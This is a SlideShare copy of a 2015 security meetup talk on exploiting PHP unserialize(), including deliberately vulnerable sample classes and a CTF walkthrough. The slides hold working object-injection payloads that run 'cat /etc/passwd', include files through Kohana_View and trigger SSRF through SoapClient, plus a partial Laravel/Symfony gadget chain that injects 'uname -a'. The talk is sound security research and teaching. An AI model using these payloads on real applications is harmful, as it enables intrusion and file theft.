SlideShare a Scribd company logo
PHP Unserialize Exploiting
Mail.Ru Security Meetup. 22 Nov 2015
#securitymeetup
whoami
Pavel Toporkov
● Work at Kaspersky Lab
● Security Researcher
● Bug Hunter
● RDot.Org team CTF player
why?
Unserialize
unserialize — Creates a PHP value from a stored
representation
array("foo", "bar") ⇔ a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}
Why it insecure?
Magic methods can be executed after unserialization:
__wakeup()
__destruct()
__toString()
and so on...
Vulnerable example
<?php
class A {
public $exitCmd;
public function __destruct(){
system($this->exitCmd);
}
}
unserialize($_GET['a']);
?>
?a=O:1:"A":{s:7:"exitCmd";s:15:"cat /etc/passwd"}
What if we won't use danger
functions in magic methods?
More complex example
<?php
class DBConnect {
public function __destruct(){
$this->db->close();
}
}
class Process {
public function close(){
system("rm ${this->pidfile}.pid");
}
}
Kohana (system/classes/Kohana/View.php)
public function __toString(){
try {
return $this->render();
} catch (Exception $e){ ... }
}
protected static function capture
($kohana_view_filename, array
$kohana_view_data){
try {
include $kohana_view_filename;
} catch (Exception $e){ ... }
}
public function render($file){
...
View::capture($this->_file,
$this->_data);
}
Kohana Pwning
POST /api.php HTTP/1.1
Host: hostname
Content-Length: …
Content-Type: application/x-www-form-urlencoded
data=O:11:"Kohana_View":1:{s:8:"%00*%00_file";s:11:"
/etc/passwd";}
What if there will no such
chains in application code?
SSRF
Unserializing SoapClient can provide SSRF with CRLF
injection.
O:10:"SoapClient":3:{s:3:"uri";s:18:"http://hostname/3%0a1";
s:8:"location";s:23:"http://hostname/123";s:13:"
_soap_version";i:1;}
[0] https://www.youtube.com/watch?v=5AdVQzUB6iM
[1] http://raz0r.name/talks/confidence-2013-php-object-injection-revisited/
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаборатория Касперского
Composer
Composer helps you declare, manage and install dependencies
of PHP projects, ensuring you have the right stack
everywhere.
Actually it provide us a bunch of usable classes to build
chains for unserialize exploiting. Just try to get size of
your "vendor" directory.
What if we won't use unserialize
with user's input data!
Another way
PHP serialized data is often used to store PHP object in
database.
● User sessions
● Application cache
● ...
WhoEver!
PHD CTF 2015 Task
Based on a true story.
0 solvers :(
WhoEver! (step 1)
1. Read robots.txt, find api.php file.
2. Find that api.php can process XML data.
3. Get the source code using XML External Entity. (composer.
json and .git can help us to get all files)
WhoEver! (step 2)
$params = unserialize($_GET["params"]);
...
class User {
public function save(){
...
Database::query(
"INSERT INTO users (sess, user) VALUES('$this->sessid', '%s') ON
DUPLICATE KEY UPDATE user='%s'", array($user, $user));
}
public function __destruct(){
if ($this->needSave) $this->save();
}
}
WhoEver! (step 3)
public static function load($sessid){
...
$result = Database::query("SELECT user FROM users WHERE sess='$sessid'");
if ($result){
return unserialize($result["user"]);
} else return new User($sessid);
}
Now we can exploit another unserialize with more classes
available.
Let's try to build chain...
WhoEver! (step 3)
class Database {
public function __destruct(){
$this->db->close();
}
}
class Engine {
public function __call($name, $params) {
...
return $this->loader->load($name,
$shared);
}
}
class Loader {
public function load($name, $shared){
...
list($class, $params, $callback) =
$this->classes[$name];
...
$this->newInstance($class, $params);
...
}
public function newInstance($class,
$params) {
if (is_callable($class)) {
return call_user_func_array($class,
$params);
}
}
Finding chains
This project was 2MB.
In real projects we have 100+MB of PHP source code. So
finding chains to exploit unserialize is a big deal.
Let's code it!
Tool
My approach:
● No static analysis. It slow and complex
● Just find starting point
● Then find all methods and check if it can be executed
from this point.
● Repeat
Demo
Chain
Exploit (too long, cutted…)
O:20:"IlluminateViewView":1:{s:10:"%00*%00factory";O:23:"
IlluminateViewFactory":1:{s:9:"%00*%00events";O:42:"
IlluminateFoundationConsoleServeCommand":3:{s:9:"%00*%
00output";O:43:"
SymfonyComponentConsoleOutputNullOutput":0:{}s:8:"%00*%
00input";O:42:"SymfonyComponentConsoleInputArrayInput":
2:{s:10:"%00*%00options";a:2:{s:4:"host";s:12:"A;uname+-a;
A";s:4:"port";s:2:"AA";}s:13:"%00*%00definition";O:47:"
SymfonyComponentConsoleInputInputDefinition":1:{s:56:"%
00SymfonyComponentConsoleInputInputDefinition%
00options...
Results
● About 10 minutes to process 130MB of code
● Due to no static analysis it's extremely hard to auto-
generate exploits
P.S. Welcome to contribution!
Thanks!
Questions?
Pavel Toporkov
@Paul_Axe
http://paul-axe.blogspot.com/

More Related Content

PPTX
Abusing Microsoft Kerberos - Sorry you guys don't get it
PPTX
The Aggregation Framework
PPT
Sql injection attack
PDF
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
PPTX
Client side attacks using PowerShell
PDF
실시간 이상탐지를 위한 머신러닝 모델에 Druid _ Imply 활용하기
PDF
The WAF book (Web App Firewall )
PPTX
MongoDB - Aggregation Pipeline
Abusing Microsoft Kerberos - Sorry you guys don't get it
The Aggregation Framework
Sql injection attack
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Client side attacks using PowerShell
실시간 이상탐지를 위한 머신러닝 모델에 Druid _ Imply 활용하기
The WAF book (Web App Firewall )
MongoDB - Aggregation Pipeline

What's hot (20)

PDF
Spark 의 핵심은 무엇인가? RDD! (RDD paper review)
PDF
Introduction to Apache Hive
PDF
All You Need is One - A ClickOnce Love Story - Secure360 2015
PDF
How to tune Kafka® for production
PDF
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
PDF
[오픈소스컨설팅]Day #1 MySQL 엔진소개, 튜닝, 백업 및 복구, 업그레이드방법
PDF
Dynamic Reconfiguration of Apache ZooKeeper
PDF
A Threat Hunter Himself
PDF
MySQL/MariaDB Proxy Software Test
PPT
MongoDB Replica Sets
PDF
Deep Dive into Kubernetes - Part 1
PDF
Rust: Systems Programming for Everyone
PDF
Disaster Recovery with MirrorMaker 2.0 (Ryanne Dolan, Cloudera) Kafka Summit ...
PPT
Bypass file upload restrictions
PDF
KSQL and Security: The Current State of Affairs (Victoria Xia, Confluent) Kaf...
PPTX
Building an Event Streaming Architecture with Apache Pulsar
PPTX
Hive+Tez: A performance deep dive
PPTX
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
PDF
Frans Rosén Keynote at BSides Ahmedabad
PDF
DNS hijacking using cloud providers – No verification needed
Spark 의 핵심은 무엇인가? RDD! (RDD paper review)
Introduction to Apache Hive
All You Need is One - A ClickOnce Love Story - Secure360 2015
How to tune Kafka® for production
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
[오픈소스컨설팅]Day #1 MySQL 엔진소개, 튜닝, 백업 및 복구, 업그레이드방법
Dynamic Reconfiguration of Apache ZooKeeper
A Threat Hunter Himself
MySQL/MariaDB Proxy Software Test
MongoDB Replica Sets
Deep Dive into Kubernetes - Part 1
Rust: Systems Programming for Everyone
Disaster Recovery with MirrorMaker 2.0 (Ryanne Dolan, Cloudera) Kafka Summit ...
Bypass file upload restrictions
KSQL and Security: The Current State of Affairs (Victoria Xia, Confluent) Kaf...
Building an Event Streaming Architecture with Apache Pulsar
Hive+Tez: A performance deep dive
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
Frans Rosén Keynote at BSides Ahmedabad
DNS hijacking using cloud providers – No verification needed
Ad

Viewers also liked (7)

PPTX
Security Meetup 22 октября. «Реверс-инжиниринг в Enterprise». Александр Секре...
PDF
Security Meetup 22 октября. «Мобилки, деньги, два фактора». Дмитрий Евдокимо...
PDF
Security Meetup 22 октября. «Опасное видео». Максим Андреев. Облако Mail.Ru
PPTX
Security Meetup 22 октября. «When big brick wall becomes wooden fence» or «ho...
PDF
PHP Object Injection
PDF
PHP unserialization vulnerabilities: What are we missing?
PDF
PHP Object Injection Vulnerability in WordPress: an Analysis
Security Meetup 22 октября. «Реверс-инжиниринг в Enterprise». Александр Секре...
Security Meetup 22 октября. «Мобилки, деньги, два фактора». Дмитрий Евдокимо...
Security Meetup 22 октября. «Опасное видео». Максим Андреев. Облако Mail.Ru
Security Meetup 22 октября. «When big brick wall becomes wooden fence» or «ho...
PHP Object Injection
PHP unserialization vulnerabilities: What are we missing?
PHP Object Injection Vulnerability in WordPress: an Analysis
Ad

Similar to Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаборатория Касперского (20)

PDF
Closer look at PHP Unserialization by Ashwin Shenoi
PDF
New PHP Exploitation Techniques
PPTX
Serial Killers - or Deserialization for fun and profit
PPTX
FFW Gabrovo PMG - PHP OOP Part 3
PPTX
OOP in PHP.pptx
ODP
What's new, what's hot in PHP 5.3
PDF
Breaking The Framework's Core #PHPKonf 2016
PDF
Preparing for the next PHP version (5.6)
PDF
Barcelona 2010 hidden_features
PDF
Iterators, ArrayAccess & Countable (Oh My!) - Madison PHP 2014
PPT
John's Top PECL Picks
PDF
php_final_sy_semIV_notes_vision.pdf
PDF
php_final_sy_semIV_notes_vision (3).pdf
PDF
php_final_sy_semIV_notes_vision.pdf
PDF
php_final_sy_semIV_notes_vision.pdf
PPT
How PHP Works ?
PDF
Advanced Php - Macq Electronique 2010
PPT
Easy rest service using PHP reflection api
PPTX
20 cool features that is in PHP 7, we missed in PHP 5. Let walkthrough with t...
ODP
Php in 2013 (Web-5 2013 conference)
Closer look at PHP Unserialization by Ashwin Shenoi
New PHP Exploitation Techniques
Serial Killers - or Deserialization for fun and profit
FFW Gabrovo PMG - PHP OOP Part 3
OOP in PHP.pptx
What's new, what's hot in PHP 5.3
Breaking The Framework's Core #PHPKonf 2016
Preparing for the next PHP version (5.6)
Barcelona 2010 hidden_features
Iterators, ArrayAccess & Countable (Oh My!) - Madison PHP 2014
John's Top PECL Picks
php_final_sy_semIV_notes_vision.pdf
php_final_sy_semIV_notes_vision (3).pdf
php_final_sy_semIV_notes_vision.pdf
php_final_sy_semIV_notes_vision.pdf
How PHP Works ?
Advanced Php - Macq Electronique 2010
Easy rest service using PHP reflection api
20 cool features that is in PHP 7, we missed in PHP 5. Let walkthrough with t...
Php in 2013 (Web-5 2013 conference)

More from Mail.ru Group (20)

PDF
Автоматизация без тест-инженеров по автоматизации, Мария Терехина и Владислав...
PDF
BDD для фронтенда. Автоматизация тестирования с Cucumber, Cypress и Jenkins, ...
PDF
Другая сторона баг-баунти-программ: как это выглядит изнутри, Владимир Дубровин
PDF
Использование Fiddler и Charles при тестировании фронтенда проекта pulse.mail...
PDF
Управление инцидентами в Почте Mail.ru, Антон Викторов
PDF
DAST в CI/CD, Ольга Свиридова
PDF
Почему вам стоит использовать свой велосипед и почему не стоит Александр Бел...
PDF
CV в пайплайне распознавания ценников товаров: трюки и хитрости Николай Масл...
PDF
RAPIDS: ускоряем Pandas и scikit-learn на GPU Павел Клеменков, NVidia
PDF
WebAuthn в реальной жизни, Анатолий Остапенко
PDF
AMP для электронной почты, Сергей Пешков
PDF
Как мы захотели TWA и сделали его без мобильных разработчиков, Данила Стрелков
PDF
Кейсы использования PWA для партнерских предложений в Delivery Club, Никита Б...
PDF
Метапрограммирование: строим конечный автомат, Сергей Федоров, Яндекс.Такси
PDF
Как не сделать врагами архитектуру и оптимизацию, Кирилл Березин, Mail.ru Group
PDF
Этика искусственного интеллекта, Александр Кармаев (AI Journey)
PDF
Нейро-машинный перевод в вопросно-ответных системах, Федор Федоренко (AI Jour...
PDF
Конвергенция технологий как тренд развития искусственного интеллекта, Владими...
PDF
Обзор трендов рекомендательных систем от Пульса, Андрей Мурашев (AI Journey)
PDF
Мир глазами нейросетей, Данила Байгушев, Александр Сноркин ()
Автоматизация без тест-инженеров по автоматизации, Мария Терехина и Владислав...
BDD для фронтенда. Автоматизация тестирования с Cucumber, Cypress и Jenkins, ...
Другая сторона баг-баунти-программ: как это выглядит изнутри, Владимир Дубровин
Использование Fiddler и Charles при тестировании фронтенда проекта pulse.mail...
Управление инцидентами в Почте Mail.ru, Антон Викторов
DAST в CI/CD, Ольга Свиридова
Почему вам стоит использовать свой велосипед и почему не стоит Александр Бел...
CV в пайплайне распознавания ценников товаров: трюки и хитрости Николай Масл...
RAPIDS: ускоряем Pandas и scikit-learn на GPU Павел Клеменков, NVidia
WebAuthn в реальной жизни, Анатолий Остапенко
AMP для электронной почты, Сергей Пешков
Как мы захотели TWA и сделали его без мобильных разработчиков, Данила Стрелков
Кейсы использования PWA для партнерских предложений в Delivery Club, Никита Б...
Метапрограммирование: строим конечный автомат, Сергей Федоров, Яндекс.Такси
Как не сделать врагами архитектуру и оптимизацию, Кирилл Березин, Mail.ru Group
Этика искусственного интеллекта, Александр Кармаев (AI Journey)
Нейро-машинный перевод в вопросно-ответных системах, Федор Федоренко (AI Jour...
Конвергенция технологий как тренд развития искусственного интеллекта, Владими...
Обзор трендов рекомендательных систем от Пульса, Андрей Мурашев (AI Journey)
Мир глазами нейросетей, Данила Байгушев, Александр Сноркин ()

Recently uploaded (20)

PDF
01-Introduction-to-Information-Management.pdf
PPTX
Cell Structure & Organelles in detailed.
PPTX
202450812 BayCHI UCSC-SV 20250812 v17.pptx
PPTX
school management -TNTEU- B.Ed., Semester II Unit 1.pptx
PDF
Computing-Curriculum for Schools in Ghana
PDF
GENETICS IN BIOLOGY IN SECONDARY LEVEL FORM 3
PPTX
Final Presentation General Medicine 03-08-2024.pptx
PDF
A GUIDE TO GENETICS FOR UNDERGRADUATE MEDICAL STUDENTS
PDF
OBE - B.A.(HON'S) IN INTERIOR ARCHITECTURE -Ar.MOHIUDDIN.pdf
PPTX
master seminar digital applications in india
PPTX
Microbial diseases, their pathogenesis and prophylaxis
PPTX
GDM (1) (1).pptx small presentation for students
PPTX
Cell Types and Its function , kingdom of life
PDF
Chapter 2 Heredity, Prenatal Development, and Birth.pdf
PDF
grade 11-chemistry_fetena_net_5883.pdf teacher guide for all student
PPTX
Pharmacology of Heart Failure /Pharmacotherapy of CHF
PPTX
Pharma ospi slides which help in ospi learning
PPTX
Final Presentation General Medicine 03-08-2024.pptx
PDF
FourierSeries-QuestionsWithAnswers(Part-A).pdf
PPTX
IMMUNITY IMMUNITY refers to protection against infection, and the immune syst...
01-Introduction-to-Information-Management.pdf
Cell Structure & Organelles in detailed.
202450812 BayCHI UCSC-SV 20250812 v17.pptx
school management -TNTEU- B.Ed., Semester II Unit 1.pptx
Computing-Curriculum for Schools in Ghana
GENETICS IN BIOLOGY IN SECONDARY LEVEL FORM 3
Final Presentation General Medicine 03-08-2024.pptx
A GUIDE TO GENETICS FOR UNDERGRADUATE MEDICAL STUDENTS
OBE - B.A.(HON'S) IN INTERIOR ARCHITECTURE -Ar.MOHIUDDIN.pdf
master seminar digital applications in india
Microbial diseases, their pathogenesis and prophylaxis
GDM (1) (1).pptx small presentation for students
Cell Types and Its function , kingdom of life
Chapter 2 Heredity, Prenatal Development, and Birth.pdf
grade 11-chemistry_fetena_net_5883.pdf teacher guide for all student
Pharmacology of Heart Failure /Pharmacotherapy of CHF
Pharma ospi slides which help in ospi learning
Final Presentation General Medicine 03-08-2024.pptx
FourierSeries-QuestionsWithAnswers(Part-A).pdf
IMMUNITY IMMUNITY refers to protection against infection, and the immune syst...

Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаборатория Касперского

  • 1. PHP Unserialize Exploiting Mail.Ru Security Meetup. 22 Nov 2015 #securitymeetup
  • 2. whoami Pavel Toporkov ● Work at Kaspersky Lab ● Security Researcher ● Bug Hunter ● RDot.Org team CTF player
  • 4. Unserialize unserialize — Creates a PHP value from a stored representation array("foo", "bar") ⇔ a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}
  • 5. Why it insecure? Magic methods can be executed after unserialization: __wakeup() __destruct() __toString() and so on...
  • 6. Vulnerable example <?php class A { public $exitCmd; public function __destruct(){ system($this->exitCmd); } } unserialize($_GET['a']); ?> ?a=O:1:"A":{s:7:"exitCmd";s:15:"cat /etc/passwd"}
  • 7. What if we won't use danger functions in magic methods?
  • 8. More complex example <?php class DBConnect { public function __destruct(){ $this->db->close(); } } class Process { public function close(){ system("rm ${this->pidfile}.pid"); } }
  • 9. Kohana (system/classes/Kohana/View.php) public function __toString(){ try { return $this->render(); } catch (Exception $e){ ... } } protected static function capture ($kohana_view_filename, array $kohana_view_data){ try { include $kohana_view_filename; } catch (Exception $e){ ... } } public function render($file){ ... View::capture($this->_file, $this->_data); }
  • 10. Kohana Pwning POST /api.php HTTP/1.1 Host: hostname Content-Length: … Content-Type: application/x-www-form-urlencoded data=O:11:"Kohana_View":1:{s:8:"%00*%00_file";s:11:" /etc/passwd";}
  • 11. What if there will no such chains in application code?
  • 12. SSRF Unserializing SoapClient can provide SSRF with CRLF injection. O:10:"SoapClient":3:{s:3:"uri";s:18:"http://hostname/3%0a1"; s:8:"location";s:23:"http://hostname/123";s:13:" _soap_version";i:1;} [0] https://www.youtube.com/watch?v=5AdVQzUB6iM [1] http://raz0r.name/talks/confidence-2013-php-object-injection-revisited/
  • 14. Composer Composer helps you declare, manage and install dependencies of PHP projects, ensuring you have the right stack everywhere. Actually it provide us a bunch of usable classes to build chains for unserialize exploiting. Just try to get size of your "vendor" directory.
  • 15. What if we won't use unserialize with user's input data!
  • 16. Another way PHP serialized data is often used to store PHP object in database. ● User sessions ● Application cache ● ...
  • 17. WhoEver! PHD CTF 2015 Task Based on a true story. 0 solvers :(
  • 18. WhoEver! (step 1) 1. Read robots.txt, find api.php file. 2. Find that api.php can process XML data. 3. Get the source code using XML External Entity. (composer. json and .git can help us to get all files)
  • 19. WhoEver! (step 2) $params = unserialize($_GET["params"]); ... class User { public function save(){ ... Database::query( "INSERT INTO users (sess, user) VALUES('$this->sessid', '%s') ON DUPLICATE KEY UPDATE user='%s'", array($user, $user)); } public function __destruct(){ if ($this->needSave) $this->save(); } }
  • 20. WhoEver! (step 3) public static function load($sessid){ ... $result = Database::query("SELECT user FROM users WHERE sess='$sessid'"); if ($result){ return unserialize($result["user"]); } else return new User($sessid); } Now we can exploit another unserialize with more classes available. Let's try to build chain...
  • 21. WhoEver! (step 3) class Database { public function __destruct(){ $this->db->close(); } } class Engine { public function __call($name, $params) { ... return $this->loader->load($name, $shared); } } class Loader { public function load($name, $shared){ ... list($class, $params, $callback) = $this->classes[$name]; ... $this->newInstance($class, $params); ... } public function newInstance($class, $params) { if (is_callable($class)) { return call_user_func_array($class, $params); } }
  • 22. Finding chains This project was 2MB. In real projects we have 100+MB of PHP source code. So finding chains to exploit unserialize is a big deal.
  • 24. Tool My approach: ● No static analysis. It slow and complex ● Just find starting point ● Then find all methods and check if it can be executed from this point. ● Repeat
  • 25. Demo
  • 26. Chain
  • 27. Exploit (too long, cutted…) O:20:"IlluminateViewView":1:{s:10:"%00*%00factory";O:23:" IlluminateViewFactory":1:{s:9:"%00*%00events";O:42:" IlluminateFoundationConsoleServeCommand":3:{s:9:"%00*% 00output";O:43:" SymfonyComponentConsoleOutputNullOutput":0:{}s:8:"%00*% 00input";O:42:"SymfonyComponentConsoleInputArrayInput": 2:{s:10:"%00*%00options";a:2:{s:4:"host";s:12:"A;uname+-a; A";s:4:"port";s:2:"AA";}s:13:"%00*%00definition";O:47:" SymfonyComponentConsoleInputInputDefinition":1:{s:56:"% 00SymfonyComponentConsoleInputInputDefinition% 00options...
  • 28. Results ● About 10 minutes to process 130MB of code ● Due to no static analysis it's extremely hard to auto- generate exploits P.S. Welcome to contribution!